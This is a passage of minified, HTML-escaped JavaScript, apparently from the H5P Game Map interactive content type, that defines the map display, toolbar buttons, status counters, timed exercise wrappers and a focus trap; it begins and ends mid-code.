a=this.params.globals.get(&quot;params&quot;),r=a.gamemapSteps?.gamemap?.elements[0]?.telemetry?.width,n=a.gamemapSteps?.gamemap?.elements[0]?.telemetry?.height;this.dom.style.setProperty(&quot;--stage-height&quot;,`${n}%`),this.dom.style.setProperty(&quot;--stage-width&quot;,`${r}%`),this.dom.style.setProperty(&quot;--stage-color&quot;,a.visual.stages.colorStage),this.dom.style.setProperty(&quot;--stage-color-cleared&quot;,a.visual.stages.colorStageCleared),this.dom.style.setProperty(&quot;--stage-color-locked&quot;,a.visual.stages.colorStageLocked),this.dom.style.setProperty(&quot;--stage-color-contrast-dark&quot;,e.COLOR_CONTRAST_DARK),this.dom.style.setProperty(&quot;--stage-color-contrast-light&quot;,e.COLOR_CONTRAST_LIGHT),this.dom.style.setProperty(&quot;--path-color&quot;,a.visual.paths.style.colorPath),this.dom.style.setProperty(&quot;--path-color-cleared&quot;,a.visual.paths.style.colorPathCleared),this.dom.style.setProperty(&quot;--path-style&quot;,a.visual.paths.style.pathStyle),this.image=document.createElement(&quot;img&quot;),this.image.classList.add(&quot;h5p-game-map-background-image&quot;),this.image.alt=&quot;&quot;,this.image.addEventListener(&quot;load&quot;,(()=&gt;{this.callbacks.onImageLoaded(this.image)})),this.params.backgroundImage&amp;&amp;(this.image.src=this.params.backgroundImage),this.dom.appendChild(this.image),this.pathWrapper=document.createElement(&quot;div&quot;),this.pathWrapper.classList.add(&quot;h5p-game-map-path-wrapper&quot;),this.params.paths.getDOMs().forEach((e=&gt;{this.pathWrapper.appendChild(e)})),this.dom.appendChild(this.pathWrapper),this.stageWrapper=document.createElement(&quot;div&quot;),this.stageWrapper.classList.add(&quot;h5p-game-map-stage-wrapper&quot;),this.stageWrapper.setAttribute(&quot;role&quot;,&quot;application&quot;),this.stageWrapper.setAttribute(&quot;aria-label&quot;,this.params.dictionary.get(&quot;a11y.applicationDescription&quot;)),this.params.stages.getDOMs().forEach((e=&gt;{this.stageWrapper.appendChild(e)})),this.dom.appendChild(this.stageWrapper)}var t=e.prototype;return t.getDOM=function(){return this.dom},t.show=function(){this.dom.classList.remove(&quot;display-none&quot;)},t.hide=function(){this.dom.classList.add(&quot;display-none&quot;)},t.setFullscreen=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};if(!t.height||!t.width)return;if(!e)return void this.forceSize(null);const i=this.getSize();let a,s;i.width/i.height&gt;t.width/t.height?(a=t.width,s=t.width*i.height/i.width):(a=t.height*i.width/i.height,s=t.height),this.forceSize({container:{width:t.width,height:t.height},map:{width:a,height:s}})},t.getSize=function(){const e=this.image.getBoundingClientRect();return{height:e.height,width:e.width}},t.resize=function(){clearTimeout(this.resizeTimeout),this.resizeTimeout=setTimeout((()=&gt;{const t=this.image.getBoundingClientRect();this.pathWrapper.style.height=`${t.height}px`,this.stageWrapper.style.height=`${t.height}px`;const i=parseFloat(this.dom.style.getPropertyValue(&quot;--stage-height&quot;)),a=t.height/100*i;this.dom.style.setProperty(&quot;--stage-font-size&quot;,`calc(${e.STAGE_BORDER_RADIUS} * ${a}px)`),this.dom.style.setProperty(&quot;--stage-line-height&quot;,`${a}px`)}),0)},t.forceSize=function(e){this.dom.style.height=&quot;&quot;,this.dom.style.width=&quot;&quot;,this.dom.style.margin=&quot;&quot;,this.dom.style.overflow=&quot;&quot;,this.image.style.height=&quot;&quot;,this.image.style.width=&quot;&quot;,this.pathWrapper.style.height=&quot;&quot;,this.pathWrapper.style.width=&quot;&quot;,this.stageWrapper.style.height=&quot;&quot;,this.stageWrapper.style.width=&quot;&quot;,null!==e&amp;&amp;(e?.container?.width&amp;&amp;e?.container?.height&amp;&amp;e?.map?.width&amp;&amp;e?.map?.height&amp;&amp;window.requestAnimationFrame((()=&gt;{this.dom.style.height=`${e.container.height}px`,this.dom.style.width=`${e.container.width}px`,this.dom.style.margin=&quot;auto&quot;,this.dom.style.overflow=&quot;hidden auto&quot;,this.image.style.height=`${e.map.height}px`,this.image.style.width=`${e.map.width}px`,this.pathWrapper.style.height=`${e.map.height}px`,this.pathWrapper.style.width=`${e.map.width}px`,this.stageWrapper.style.height=`${e.map.height}px`,this.stageWrapper.style.width=`${e.map.width}px`,window.requestAnimationFrame((()=&gt;{this.params.globals.get(&quot;resize&quot;)()}))})),window.requestAnimationFrame((()=&gt;{this.params.globals.get(&quot;resize&quot;)()})))},t.setActiveDescendant=function(e){this.stageWrapper.setAttribute(&quot;aria-activedescendant&quot;,`stage-button-${e}`)},e}();D.COLOR_CONTRAST_DARK=&quot;#000&quot;,D.COLOR_CONTRAST_LIGHT=&quot;#fff&quot;,D.STAGE_BORDER_RADIUS=.5;let T=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({},e),this.callbacks=s.extend({},t),this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;status-container&quot;),this.dom.classList.add(`status-container-${e.id}`);const i=document.createElement(&quot;div&quot;);if(i.classList.add(&quot;status-container-values&quot;),this.dom.append(i),this.value=document.createElement(&quot;span&quot;),this.value.classList.add(&quot;value&quot;),i.append(this.value),e.hasMaxValue){const e=document.createElement(&quot;span&quot;);e.classList.add(&quot;delimiter&quot;),e.innerText=&quot;/&quot;,i.append(e),this.maxValue=document.createElement(&quot;span&quot;),this.maxValue.classList.add(&quot;max-value&quot;),i.append(this.maxValue)}this.hide()}var t=e.prototype;return t.getDOM=function(){return this.dom},t.setStatus=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};null!==(e.value??null)&amp;&amp;(this.value.innerText=e.value),null!==(e.maxValue??null)&amp;&amp;this.maxValue&amp;&amp;(this.maxValue.innerText=e.maxValue)},t.show=function(){this.dom.classList.remove(&quot;display-none&quot;)},t.hide=function(){this.dom.classList.add(&quot;display-none&quot;)},t.animate=function(e){m(this.dom,e)},e}(),L=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({},e),this.callbacks=s.extend({},t),this.containers={},this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;status-containers&quot;)}var t=e.prototype;return t.getDOM=function(){return this.dom},t.show=function(){this.dom.classList.remove(&quot;display-none&quot;)},t.hide=function(){this.dom.classList.add(&quot;display-none&quot;)},t.addContainer=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};&quot;string&quot;==typeof e.id&amp;&amp;(this.containers[e.id]=new T(e),this.dom.append(this.containers[e.id].getDOM()))},t.showContainer=function(e){this.containers[e]&amp;&amp;this.containers[e].show()},t.hideContainer=function(e){this.containers[e]&amp;&amp;this.containers[e].hide()},t.setStatus=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.containers[e]&amp;&amp;this.containers[e].setStatus(t)},t.animate=function(e,t){this.containers[e]&amp;&amp;this.containers[e].animate(t)},e}(),C=function(){function e(e,t){this.params=s.extend({a11y:{active:&quot;&quot;,disabled:&quot;&quot;,inactive:&quot;&quot;},active:!1,classes:[],disabled:!1,type:&quot;pulse&quot;,pulseStates:[],pulseIndex:0},e||{}),Array.isArray(this.params.classes)||(this.params.classes=[this.params.classes]),&quot;pulse&quot;===this.params.type&amp;&amp;(this.params.a11y.inactive||(this.params.a11y.inactive=this.params.a11y.active||&quot;&quot;),this.params.a11y.active||(this.params.a11y.active=this.params.a11y.inactive||&quot;&quot;),this.pulseIndex=this.params.pulseIndex||0),this.active=this.params.active,this.disabled=this.params.disabled,this.callbacks=t||{},this.callbacks.onClick=this.callbacks.onClick||(()=&gt;{}),this.button=document.createElement(&quot;button&quot;),this.params.classes&amp;&amp;this.params.classes.forEach((e=&gt;{this.button.classList.add(e)})),this.button.setAttribute(&quot;aria-pressed&quot;,this.params.active),this.button.setAttribute(&quot;tabindex&quot;,&quot;0&quot;),!0===this.params.active?this.activate():this.deactivate(),!0===this.params.disabled?this.disable():this.enable(),this.pulseIndex&lt;this.params.pulseStates.length&amp;&amp;(this.button.classList.add(`toolbar-button-${this.params.pulseStates[this.pulseIndex].id}`),this.button.setAttribute(&quot;aria-label&quot;,this.params.pulseStates[this.pulseIndex].label)),this.button.addEventListener(&quot;click&quot;,(e=&gt;{this.disabled||(&quot;toggle&quot;===this.params.type?this.toggle():&quot;pulse&quot;===this.params.type&amp;&amp;this.pulse(),this.callbacks.onClick(e,{active:this.active,id:this.params.id}))}))}var t=e.prototype;return t.getDOM=function(){return this.button},t.show=function(){this.button.classList.remove(&quot;toolbar-button-display-none&quot;)},t.hide=function(){this.button.classList.add(&quot;toolbar-button-display-none&quot;)},t.decloak=function(){this.button.classList.remove(&quot;toolbar-button-cloak&quot;)},t.cloak=function(){this.button.classList.add(&quot;toolbar-button-cloak&quot;)},t.focus=function(){this.button.focus()},t.enable=function(){this.disabled=!1,this.button.classList.remove(&quot;toolbar-button-disabled&quot;),&quot;toggle&quot;===this.params.type?this.active?this.activate():this.deactivate():this.activate()},t.disable=function(){this.button.classList.add(&quot;toolbar-button-disabled&quot;),this.button.setAttribute(&quot;aria-label&quot;,this.params.a11y.disabled),this.disabled=!0},t.activate=function(){if(!this.disabled){if(&quot;toggle&quot;===this.params.type)this.button.classList.add(&quot;toolbar-button-active&quot;),this.button.setAttribute(&quot;aria-pressed&quot;,!0),this.button.setAttribute(&quot;aria-label&quot;,this.params.a11y.active);else{const e=this.params.pulseStates.length?this.params.pulseStates[this.pulseIndex].label:this.params.a11y.active;this.button.setAttribute(&quot;aria-label&quot;,e)}this.active=!0}},t.force=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};&quot;toggle&quot;===this.params.type?!0===e?this.activate():!1===e?this.deactivate():this.toggle():&quot;pulse&quot;===this.params.type&amp;&amp;&quot;number&quot;==typeof e&amp;&amp;(this.pulseIndex=(e+this.params.pulseStates.length)%this.params.pulseStates.length,this.params.pulseStates.forEach(((e,t)=&gt;{t===this.pulseIndex?(this.button.classList.add(`toolbar-button-${e.id}`),this.button.setAttribute(&quot;aria-label&quot;,e.label)):this.button.classList.remove(`toolbar-button-${e.id}`)}))),t.noCallback||this.callbacks.onClick({},{active:this.active})},t.deactivate=function(){this.disabled||(this.active=!1,&quot;toggle&quot;===this.params.type&amp;&amp;(this.button.classList.remove(&quot;toolbar-button-active&quot;),this.button.setAttribute(&quot;aria-pressed&quot;,!1)),this.button.setAttribute(&quot;aria-label&quot;,this.params.a11y.inactive))},t.toggle=function(){this.disabled||(this.active?this.deactivate():this.activate())},t.pulse=function(){if(this.disabled)return;const e=this.params.pulseStates.length;e&amp;&amp;(this.button.classList.remove(`toolbar-button-${this.params.pulseStates[this.pulseIndex].id}`),this.pulseIndex=(this.pulseIndex+1)%e,this.button.classList.add(`toolbar-button-${this.params.pulseStates[this.pulseIndex].id}`),this.button.setAttribute(&quot;aria-label&quot;,this.params.pulseStates[this.pulseIndex].label))},t.setAttribute=function(e,t){this.button.setAttribute(e,t)},t.isActive=function(){return this.active},t.isDisabled=function(){return this.disabled},t.isCloaked=function(){return this.button.classList.contains(&quot;toolbar-button-cloak&quot;)},e}(),q=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({buttons:[],hidden:!1},e),this.callbacks=s.extend({},t),this.buttons={},this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;h5p-game-map-toolbar-tool-bar&quot;),this.dom.setAttribute(&quot;role&quot;,&quot;toolbar&quot;),this.dom.addEventListener(&quot;keydown&quot;,(e=&gt;{this.handleKeydown(e)})),this.params.hidden&amp;&amp;this.hide();const i=document.createElement(&quot;div&quot;);if(i.classList.add(&quot;toolbar-headline&quot;),i.innerText=s.purifyHTML(this.params.headline),this.dom.append(i),this.params.headline){const e=H5P.createUUID();i.setAttribute(&quot;id&quot;,e),this.dom.setAttribute(&quot;aria-labelledby&quot;,e)}else this.dom.setAttribute(&quot;aria-label&quot;,this.params.dictionary.get(&quot;a11y.toolbarFallbackLabel&quot;));const a=document.createElement(&quot;div&quot;);a.classList.add(&quot;toolbar-non-headline&quot;),this.dom.append(a),this.statusContainers=new L,a.append(this.statusContainers.getDOM()),this.params.statusContainers.forEach((e=&gt;{this.statusContainers.addContainer(e)})),this.buttonsContainer=document.createElement(&quot;div&quot;),this.buttonsContainer.classList.add(&quot;toolbar-buttons&quot;),a.append(this.buttonsContainer),this.params.buttons.forEach((e=&gt;{this.addButton(e)})),Object.values(this.buttons).forEach(((e,t)=&gt;{e.setAttribute(&quot;tabindex&quot;,0===t?&quot;0&quot;:&quot;-1&quot;)})),this.currentButtonIndex=0}var t=e.prototype;return t.getDOM=function(){return this.dom},t.getFullHeight=function(){const e=window.getComputedStyle(this.dom),t=parseFloat(e.getPropertyValue(&quot;margin-top&quot;))+parseFloat(e.getPropertyValue(&quot;margin-bottom&quot;));return Math.ceil(this.dom.offsetHeight+t)},t.focus=function(){Object.values(this.buttons)[this.currentButtonIndex]?.focus()},t.addButton=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};&quot;string&quot;==typeof e.id&amp;&amp;(this.buttons[e.id]=new C({id:e.id,...e.a11y&amp;&amp;{a11y:e.a11y},classes:[&quot;toolbar-button&quot;,`toolbar-button-${e.id}`],...&quot;boolean&quot;==typeof e.disabled&amp;&amp;{disabled:e.disabled},...e.active&amp;&amp;{active:e.active},...e.type&amp;&amp;{type:e.type},...e.pulseStates&amp;&amp;{pulseStates:e.pulseStates},...e.pulseIndex&amp;&amp;{pulseIndex:e.pulseIndex}},{...&quot;function&quot;==typeof e.onClick&amp;&amp;{onClick:(t,i)=&gt;{e.onClick(t,i)}}}),this.buttonsContainer.appendChild(this.buttons[e.id].getDOM()))},t.setButtonAttributes=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;&quot;,t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};if(this.buttons[e])for(let i in t)this.buttons[e].setAttribute(i,t[i])},t.forceButton=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;&quot;,t=arguments.length&gt;1?arguments[1]:void 0,i=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:{};this.buttons[e]&amp;&amp;this.buttons[e].force(t,i)},t.enable=function(){for(const e in this.buttons)this.enableButton(e)},t.disable=function(){for(const e in this.buttons)this.disableButton(e)},t.enableButton=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;&quot;;this.buttons[e]&amp;&amp;this.buttons[e].enable()},t.disableButton=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;&quot;;this.buttons[e]&amp;&amp;this.buttons[e].disable()},t.showButton=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;&quot;;this.buttons[e]&amp;&amp;this.buttons[e].show()},t.hideButton=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;&quot;;this.buttons[e]&amp;&amp;this.buttons[e].hide()},t.decloakButton=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;&quot;;this.buttons[e]&amp;&amp;this.buttons[e].decloak()},t.cloakButton=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;&quot;;this.buttons[e]&amp;&amp;this.buttons[e].cloak()},t.focusButton=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;&quot;;this.buttons[e]&amp;&amp;!this.buttons[e].isCloaked()&amp;&amp;this.buttons[e].focus()},t.toggleHintFinishButton=function(e){(e=&quot;boolean&quot;==typeof e?e:&quot;number&quot;!=typeof this.hintFinishButtonTimeout)?(this.animateButton(&quot;finish&quot;,&quot;pulse&quot;),this.hintFinishButtonTimeout=window.setTimeout((()=&gt;{this.toggleHintFinishButton(!0)}),I)):(window.clearTimeout(this.hintFinishButtonTimeout),this.animateButton(&quot;finish&quot;,null))},t.toggleHintTimer=function(e){(e=&quot;boolean&quot;==typeof e?e:&quot;number&quot;!=typeof this.hintTimerTimeout)?(this.animateStatusContainer(&quot;timer&quot;,&quot;pulse&quot;),this.hintTimerTimeout=window.setTimeout((()=&gt;{this.toggleHintTimer(!0)}),F)):(window.clearTimeout(this.hintTimerTimeout),this.animateStatusContainer(&quot;timer&quot;,null))},t.animateButton=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;&quot;,t=arguments.length&gt;1?arguments[1]:void 0;this.buttons[e]&amp;&amp;this.params.useAnimation&amp;&amp;m(this.buttons[e].getDOM(),t)},t.show=function(){this.dom.classList.remove(&quot;display-none&quot;)},t.hide=function(){this.dom.classList.add(&quot;display-none&quot;)},t.moveButtonFocus=function(e){if(&quot;number&quot;!=typeof e)return;if(this.currentButtonIndex+e&lt;0||this.currentButtonIndex+e&gt;Object.keys(this.buttons).length-1)return;Object.values(this.buttons)[this.currentButtonIndex].setAttribute(&quot;tabindex&quot;,&quot;-1&quot;),this.currentButtonIndex=this.currentButtonIndex+e;const t=Object.values(this.buttons)[this.currentButtonIndex];t.setAttribute(&quot;tabindex&quot;,&quot;0&quot;),t.focus()},t.handleKeydown=function(e){if(&quot;ArrowLeft&quot;===e.code||&quot;ArrowUp&quot;===e.code)this.moveButtonFocus(-1);else if(&quot;ArrowRight&quot;===e.code||&quot;ArrowDown&quot;===e.code)this.moveButtonFocus(1);else if(&quot;Home&quot;===e.code)this.moveButtonFocus(0-this.currentButtonIndex);else{if(&quot;End&quot;!==e.code)return;this.moveButtonFocus(Object.keys(this.buttons).length-1-this.currentButtonIndex)}e.preventDefault()},t.addStatusContainer=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.statusContainers.addContainer(e)},t.setStatusContainerStatus=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.statusContainers.setStatus(e,t)},t.showStatusContainer=function(e){this.statusContainers.showContainer(e)},t.hideStatusContainer=function(e){this.statusContainers.hideContainer(e)},t.animateStatusContainer=function(e,t){this.params.useAnimation&amp;&amp;this.statusContainers.animate(e,t)},t.toggleSolutionMode=function(e){this.dom.classList.toggle(&quot;solution-mode&quot;,e)},e}();const I=3e3,F=1e3;let M=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({animDuration:0},e),this.params.state=this.params.state??this.params.globals.get(&quot;states&quot;).unstarted,this.callbacks=s.extend({onStateChanged:()=&gt;{},onScoreChanged:()=&gt;{},onTimerTicked:()=&gt;{},onTimeoutWarning:()=&gt;{},onTimeout:()=&gt;{},onContinued:()=&gt;{}},t),this.setState(this.params.globals.get(&quot;states&quot;).unstarted),this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;h5p-game-map-exercise-instance-wrapper&quot;),this.instanceWrapper=document.createElement(&quot;div&quot;),this.instanceWrapper.classList.add(&quot;h5p-game-map-exercise-instance&quot;),this.dom.append(this.instanceWrapper),this.initializeInstance()}var i=e.prototype;return i.getDOM=function(){return this.dom},i.getState=function(){return this.state},i.initializeInstance=function(){if(null===this.instance||this.instance)return;const e=this.params.contentType?.library?.split?.(&quot; &quot;)[0];&quot;H5P.Video&quot;===e&amp;&amp;(this.params.contentType.params.visuals.fit=this.params.contentType.params.sources.length&amp;&amp;(&quot;video/mp4&quot;===this.params.contentType.params.sources[0].mime||&quot;video/webm&quot;===this.params.contentType.params.sources[0].mime||&quot;video/ogg&quot;===this.params.contentType.params.sources[0].mime)),&quot;H5P.Audio&quot;===e&amp;&amp;&quot;full&quot;===this.params.contentType.params.playerMode&amp;&amp;(this.params.contentType.params.fitToWrapper=!0);const i=this.params.globals.get(&quot;extras&quot;).previousState?.content?.exercises??[];this.previousState=i.find((e=&gt;e.exercise?.id===this.getId())),this.previousState=this.previousState?.exercise||{},this.instance||(this.instance=H5P.newRunnable(this.params.contentType,this.params.globals.get(&quot;contentId&quot;),void 0,!0,{previousState:this.previousState?.instanceState})),this.instance&amp;&amp;(this.bubbleUp(this.instance,&quot;resize&quot;,this.params.globals.get(&quot;mainInstance&quot;)),this.bubbleDown(this.params.globals.get(&quot;mainInstance&quot;),&quot;resize&quot;,[this.instance]),t.isInstanceTask(this.instance)&amp;&amp;this.instance.on(&quot;xAPI&quot;,(e=&gt;{this.trackXAPI(e)})))},i.getId=function(){return this.params.id},i.getCurrentState=function(){const e=Math.min(this.timeLeft,1e3*(this.params.time?.timeLimit||0)+this.params.animDuration);return{state:this.state,id:this.params.id,remainingTime:e,isCompleted:this.isCompleted,instanceState:this.instance?.getCurrentState?.()}},i.getXAPIData=function(){return this.instance.getXAPIData?.()},i.showSolutions=function(){this.isAttached||this.attachInstance(),this.instance?.showSolutions?.(),this.isShowingSolutions=!0},i.getAnswerGiven=function(){return this.instance?.getAnswerGiven?.()??!1},i.getScore=function(){const e=this.instance?.getScore?.();return&quot;number&quot;==typeof e?e:0},i.getMaxScore=function(){const e=this.instance?.getMaxScore?.();return&quot;number&quot;==typeof e?e:0},i.getRemainingTime=function(){return this.timeLeft},i.isTimeoutWarning=function(){return&quot;number&quot;==typeof this.params.time.timeoutWarning&amp;&amp;this.timeLeft&lt;=1e3*this.params.time?.timeoutWarning},i.bubbleUp=function(e,t,i){e.on(t,(e=&gt;{i.bubblingUpwards=!0,i.trigger(t,e),i.bubblingUpwards=!1}))},i.bubbleDown=function(e,t,i){e.on(t,(a=&gt;{e.bubblingUpwards||i.forEach((e=&gt;{this.isAttached&amp;&amp;e.trigger(t,a)}))}))},i.trackXAPI=function(e){if(!new RegExp(this.instance.subContentId).test(e.getVerifiedStatementValue([&quot;object&quot;,&quot;id&quot;])))return;if(!e||null===e.getScore())return;if(!this.isAttached)return;const t=&quot;success&quot;!==this.params.globals.get(&quot;params&quot;).behaviour.map.roaming;this.score=e.getScore(),this.score&gt;=this.instance.getMaxScore()||e.getVerifiedStatementValue([&quot;result&quot;,&quot;success&quot;])?(this.setState(this.params.globals.get(&quot;states&quot;).cleared),this.params.jukebox.stopGroup(&quot;default&quot;),this.params.jukebox.play(&quot;checkExerciseFullScore&quot;),this.stop(),this.isCompleted=!0):(this.setState(this.params.globals.get(&quot;states&quot;).completed),this.params.jukebox.stopGroup(&quot;default&quot;),this.params.jukebox.play(&quot;checkExerciseNotFullScore&quot;),t&amp;&amp;(this.stop(),this.isCompleted=!0)),this.callbacks.onScoreChanged({score:this.score,maxScore:this.instance.getMaxScore()}),this.extendsH5PQuestion?this.instance.showButton(&quot;game-map-continue&quot;):this.continueButton.classList.remove(&quot;display-none&quot;)},i.stop=function(){this.timer?.stop()},i.start=function(){if(!this.isCompleted||!this.isAttached){if(this.attachInstance(),this.isShowingSolutions)this.showSolutions();else{const e=Math.min(this.timeLeft,1e3*(this.params.time?.timeLimit||0)+this.params.animDuration);this.timer?.start(e)}this.setState(&quot;opened&quot;),window.requestAnimationFrame((()=&gt;{this.params.globals.get(&quot;resize&quot;)()}))}},i.setState=function(e){let i=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};const a=this.params.globals.get(&quot;states&quot;);if(&quot;string&quot;==typeof e&amp;&amp;(e=Object.entries(a).find((t=&gt;t[0]===e))[1]),&quot;number&quot;!=typeof e)return;let s;i.force?s=a[e]:e===a.unstarted?s=a.unstarted:e===a.opened?s=t.isInstanceTask(this.instance)?a.opened:a.cleared:e===a.completed?s=a.completed:e===a.cleared&amp;&amp;(s=a.cleared),this.state&amp;&amp;this.state===s||(this.state=s,this.callbacks.onStateChanged(this.state))},i.attachInstance=function(){this.isAttached||(this.instance.attach(H5P.jQuery(this.instanceWrapper)),&quot;H5P.Audio&quot;===this.instance?.libraryInfo.machineName&amp;&amp;window.chrome&amp;&amp;(this.instance.audio.style.height=&quot;54px&quot;),this.instance.registerDomElements&amp;&amp;this.instance.addButton&amp;&amp;this.instance.hasButton?(this.extendsH5PQuestion=!0,this.instance.addButton(&quot;game-map-continue&quot;,this.params.dictionary.get(&quot;l10n.continue&quot;),(()=&gt;{this.callbacks.onContinued()}),!1)):(this.continueButton=document.createElement(&quot;button&quot;),this.continueButton.classList.add(&quot;h5p-joubelui-button&quot;,&quot;h5p-game-map-exercise-instance-continue-button&quot;,&quot;display-none&quot;),this.continueButton.innerText=this.params.dictionary.get(&quot;l10n.continue&quot;),this.continueButton.addEventListener(&quot;click&quot;,(()=&gt;{this.callbacks.onContinued()})),this.dom.append(this.continueButton)),this.isAttached=!0)},i.setReachable=function(e){&quot;boolean&quot;==typeof e&amp;&amp;(this.isReachableState=e)},i.isReachable=function(){return this.isReachableState},i.reset=function(){let e,t,i=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.score=0,this.setReachable(!0),this.extendsH5PQuestion?this.instance.hideButton(&quot;game-map-continue&quot;):this.continueButton?.classList.add(&quot;display-none&quot;),i.isInitial?(e=this.previousState?.remainingTime,&quot;number&quot;!=typeof e&amp;&amp;(e=1e3*(this.params.time?.timeLimit??-1)),this.isCompleted=this.previousState.isCompleted??!1,t=this.previousState.state??this.params.state):(e=1e3*(this.params.time?.timeLimit??-1),this.isCompleted=!1,t=this.params.globals.get(&quot;states&quot;).unstarted),e&gt;-1&amp;&amp;(this.timer=this.timer??new c({interval:500},{onExpired:()=&gt;{this.handleTimeout()},onTick:()=&gt;{this.timeLeft=this.timer.getTime();const e=this.isTimeoutWarning();this.callbacks.onTimerTicked(this.timeLeft,{timeoutWarning:e}),!this.hasPlayedTimeoutWarning&amp;&amp;e&amp;&amp;this.handleTimeoutWarning()}}),this.timeLeft=this.params.animDuration+e),i.isInitial||(this.timer?.reset(),this.timer?.setTime(this.timeLeft)),this.setState(t),this.hasPlayedTimeoutWarning=!1,this.isAttached||this.attachInstance(),!i.isInitial&amp;&amp;this.instance&amp;&amp;(&quot;function&quot;==typeof this.instance.resetTask?this.instance.resetTask():(delete this.instance,this.initializeInstance(),this.isAttached=!1)),this.wasViewed=!1,this.isShowingSolutions=!1},i.handleTimeout=function(){this.callbacks.onTimeout()},i.handleTimeoutWarning=function(){!this.hasPlayedTimeoutWarning&amp;&amp;this.isTimeoutWarning()&amp;&amp;(this.hasPlayedTimeoutWarning=!0,this.callbacks.onTimeoutWarning())},e}(),O=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=e,this.callbacks=s.extend({onStateChanged:()=&gt;{},onScoreChanged:()=&gt;{},onTimerTicked:()=&gt;{},onTimeoutWarning:()=&gt;{},onTimeout:()=&gt;{},onContinued:()=&gt;{}},t),this.exercises={},this.params.elements.forEach((e=&gt;{!e.specialStageType&amp;&amp;e.contentType&amp;&amp;(this.exercises[e.id]=new M({...e,dictionary:this.params.dictionary,globals:this.params.globals,jukebox:this.params.jukebox},{onStateChanged:t=&gt;{this.callbacks.onStateChanged(e.id,t)},onScoreChanged:t=&gt;{this.callbacks.onScoreChanged(e.id,t)},onTimerTicked:(t,i)=&gt;{this.callbacks.onTimerTicked(e.id,t,i)},onTimeoutWarning:()=&gt;{this.callbacks.onTimeoutWarning(e.id)},onTimeout:()=&gt;{this.callbacks.onTimeout(e.id)},onContinued:()=&gt;{this.callbacks.onContinued(e.id)}}))}))}var t=e.prototype;return t.getExercise=function(e){return this.exercises[e]},t.updateReachability=function(e){Object.keys(this.exercises).forEach((t=&gt;{this.exercises[t].setReachable(e.includes(t))}))},t.getCurrentState=function(){return Object.values(this.exercises).filter((e=&gt;e.isReachable())).map((e=&gt;({exercise:e.getCurrentState()})))},t.getXAPIData=function(){return Object.values(this.exercises).filter((e=&gt;e.isReachable())).map((e=&gt;e?.getXAPIData?.())).filter((e=&gt;!!e))},t.showSolutions=function(){Object.values(this.exercises).forEach((e=&gt;{e.isReachable()&amp;&amp;e.showSolutions()}))},t.getAnswerGiven=function(){return Object.values(this.exercises).some((e=&gt;!!e.isReachable()&amp;&amp;e.getAnswerGiven()))},t.getScore=function(){return Object.values(this.exercises).reduce(((e,t)=&gt;t.isReachable()?e+t.getScore():e),0)},t.getMaxScore=function(){return Object.values(this.exercises).reduce(((e,t)=&gt;t.isReachable()?e+t.getMaxScore():e),0)},t.resetAll=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};Object.values(this.exercises).forEach((t=&gt;{t.reset({isInitial:e.isInitial})}))},t.reset=function(e){this.exercises[e]&amp;&amp;this.exercises[e].reset()},t.start=function(e){this.exercises[e]&amp;&amp;this.exercises[e].start()},t.stop=function(e){this.exercises[e]&amp;&amp;this.exercises[e].stop()},e}(),R=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.handleKeydownEvent=this.handleKeydownEvent.bind(this),this.attachTo(e)}var t=e.prototype;return t.attachTo=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.params=e,this.focusableElements=[]},t.activate=async function(){this.params.trapElement&amp;&amp;(this.isActivated||(this.isActivated=!0,this.observer=await 